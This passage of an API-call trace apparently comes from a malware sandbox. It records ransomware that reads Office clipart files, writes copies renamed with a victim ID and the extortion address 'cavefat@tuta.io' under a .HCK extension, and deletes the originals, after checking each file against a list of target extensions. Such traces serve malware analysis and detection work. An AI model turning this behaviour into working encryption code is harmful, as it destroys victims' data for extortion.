Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220 [0235.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0235.636] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.636] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.637] GetLastError () returned 0x0 [0235.637] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xed8, lpOverlapped=0x0) returned 1 [0235.638] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xee0, lpOverlapped=0x0) returned 1 [0235.639] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.639] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.639] SetEndOfFile (hFile=0x4b4) returned 1 [0235.639] CloseHandle (hObject=0x4b4) returned 1 [0235.640] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.640] SetEndOfFile (hFile=0x54c) returned 1 [0235.959] CloseHandle (hObject=0x54c) returned 1 [0235.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0235.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.989] lstrlenW (lpString=".doc") returned 4 [0235.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.989] lstrlenW (lpString=".docx") returned 5 [0235.989] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.989] lstrlenW (lpString=".pdf") returned 4 [0235.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.989] lstrlenW (lpString=".xls") returned 4 [0235.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.989] lstrlenW (lpString=".xlsx") returned 5 [0235.989] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.989] lstrlenW (lpString=".ppt") returned 4 [0235.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.989] lstrlenW (lpString=".zip") returned 4 [0235.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.990] lstrlenW (lpString=".rar") returned 4 [0235.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString=".bz2") returned 4 [0235.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString=".7z") returned 3 [0235.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.990] lstrlenW (lpString=".dbf") returned 4 [0235.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.990] lstrlenW (lpString=".1cd") returned 4 [0235.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.990] lstrlenW (lpString=".jpg") returned 4 [0235.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.990] lstrlenW (lpString=".doc") returned 4 [0235.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString=".docx") returned 5 [0235.990] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.990] lstrlenW (lpString=".pdf") returned 4 [0235.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString=".xls") returned 4 [0235.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.990] lstrlenW (lpString=".xlsx") returned 5 [0235.990] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.990] lstrlenW (lpString=".ppt") returned 4 [0235.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.990] lstrlenW (lpString=".zip") returned 4 [0235.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.990] lstrlenW (lpString=".rar") returned 4 [0235.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString=".bz2") returned 4 [0235.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.990] lstrlenW (lpString=".7z") returned 3 [0235.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.991] lstrlenW (lpString=".dbf") returned 4 [0235.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.991] lstrlenW (lpString=".1cd") returned 4 [0235.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0235.991] lstrlenW (lpString=".jpg") returned 4 [0235.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.991] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.991] lstrlenW (lpString="J0107750.WMF") returned 12 [0235.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.142] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4716) returned 1 [0236.142] CloseHandle (hObject=0x3c4) returned 1 [0236.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220 [0236.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.146] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.146] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0236.147] GetLastError () returned 0x0 [0236.147] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x126c, lpOverlapped=0x0) returned 1 [0236.149] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1270, lpOverlapped=0x0) returned 1 [0236.154] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.154] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.154] SetEndOfFile (hFile=0x3b8) returned 1 [0236.154] CloseHandle (hObject=0x3b8) returned 1 [0236.154] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.154] SetEndOfFile (hFile=0x3c4) returned 1 [0236.157] CloseHandle (hObject=0x3c4) returned 1 [0236.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0236.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.159] lstrlenW (lpString=".doc") returned 4 [0236.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString=".docx") returned 5 [0236.159] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0236.159] lstrlenW (lpString=".pdf") returned 4 [0236.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString=".xls") returned 4 [0236.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.159] lstrlenW (lpString=".xlsx") returned 5 [0236.159] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0236.159] lstrlenW (lpString=".ppt") returned 4 [0236.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.159] lstrlenW (lpString=".zip") returned 4 [0236.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.159] lstrlenW (lpString=".rar") returned 4 [0236.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString=".bz2") returned 4 [0236.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString=".7z") returned 3 [0236.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.159] lstrlenW (lpString=".dbf") returned 4 [0236.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.159] lstrlenW (lpString=".1cd") returned 4 [0236.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.159] lstrlenW (lpString=".jpg") returned 4 [0236.159] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.159] lstrlenW (lpString=".doc") returned 4 [0236.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString=".docx") returned 5 [0236.159] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0236.159] lstrlenW (lpString=".pdf") returned 4 [0236.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.159] lstrlenW (lpString=".xls") returned 4 [0236.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.159] lstrlenW (lpString=".xlsx") returned 5 [0236.160] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0236.160] lstrlenW (lpString=".ppt") returned 4 [0236.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.160] lstrlenW (lpString=".zip") returned 4 [0236.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.160] lstrlenW (lpString=".rar") returned 4 [0236.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.160] lstrlenW (lpString=".bz2") returned 4 [0236.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.160] lstrlenW (lpString=".7z") returned 3 [0236.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.160] lstrlenW (lpString=".dbf") returned 4 [0236.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.160] lstrlenW (lpString=".1cd") returned 4 [0236.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0236.160] lstrlenW (lpString=".jpg") returned 4 [0236.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.160] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0236.160] lstrlenW (lpString="J0136865.WMF") returned 12 [0236.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.162] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=16710) returned 1 [0236.162] CloseHandle (hObject=0x3c4) returned 1 [0236.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 0x220 [0236.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.163] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.163] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0236.164] GetLastError () returned 0x0 [0236.164] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x4146, lpOverlapped=0x0) returned 1 [0236.166] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x4150, lpOverlapped=0x0) returned 1 [0236.167] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.167] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0236.167] SetEndOfFile (hFile=0x3b8) returned 1 [0236.167] CloseHandle (hObject=0x3b8) returned 1 [0236.167] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.167] SetEndOfFile (hFile=0x3c4) returned 1 [0236.171] CloseHandle (hObject=0x3c4) returned 1 [0236.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0236.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.172] lstrlenW (lpString=".doc") returned 4 [0236.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.172] lstrlenW (lpString=".docx") returned 5 [0236.172] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0236.172] lstrlenW (lpString=".pdf") returned 4 [0236.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.172] lstrlenW (lpString=".xls") returned 4 [0236.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.172] lstrlenW (lpString=".xlsx") returned 5 [0236.172] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0236.172] lstrlenW (lpString=".ppt") returned 4 [0236.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.172] lstrlenW (lpString=".zip") returned 4 [0236.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.173] lstrlenW (lpString=".rar") returned 4 [0236.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString=".bz2") returned 4 [0236.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString=".7z") returned 3 [0236.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".dbf") returned 4 [0236.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".1cd") returned 4 [0236.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".jpg") returned 4 [0236.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".doc") returned 4 [0236.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString=".docx") returned 5 [0236.173] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0236.173] lstrlenW (lpString=".pdf") returned 4 [0236.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString=".xls") returned 4 [0236.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.173] lstrlenW (lpString=".xlsx") returned 5 [0236.173] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0236.173] lstrlenW (lpString=".ppt") returned 4 [0236.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".zip") returned 4 [0236.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.173] lstrlenW (lpString=".rar") returned 4 [0236.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString=".bz2") returned 4 [0236.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString=".7z") returned 3 [0236.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".dbf") returned 4 [0236.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".1cd") returned 4 [0236.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0136865.WMF") returned 68 [0236.173] lstrlenW (lpString=".jpg") returned 4 [0236.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.174] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.174] lstrlenW (lpString="J0144773.JPG") returned 12 [0236.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.175] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=40231) returned 1 [0236.175] CloseHandle (hObject=0x3c4) returned 1 [0236.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220 [0236.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 